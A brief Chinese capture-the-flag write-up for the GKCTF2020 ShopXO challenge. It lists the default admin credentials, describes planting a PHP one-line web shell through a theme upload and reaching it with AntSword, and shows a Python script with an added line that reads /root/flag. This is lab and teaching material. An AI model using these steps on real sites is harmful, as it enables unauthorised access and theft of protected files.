刷题笔记:[GKCTF2020]老八小超市儿

前言

默认后台/admin.php
默认账户admin
默认密码shopxo

题解

进后台，这种第一时间考虑主题替换，
在网上下载了个主题，然后把一句话php扔进去

路径

http://c09edc10-f98b-46fc-bac8-474ba55b4e1b.node3.buuoj.cn/public/static/index/defau../images/default-user-avatar.jpg

蚁剑访问

http://c09edc10-f98b-46fc-bac8-474ba55b4e1b.node3.buuoj.cn/public/static/index/default/1.php

flag在/root处，但权限不够，没法提权。

import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
f=io.open("/flag.hint", "rb+")
f.write(str(gk1))
f.write(str(gk))
f.close()

加个一行

flag=io.open("/root/flag","r").read()
f.write(str(flag))

结束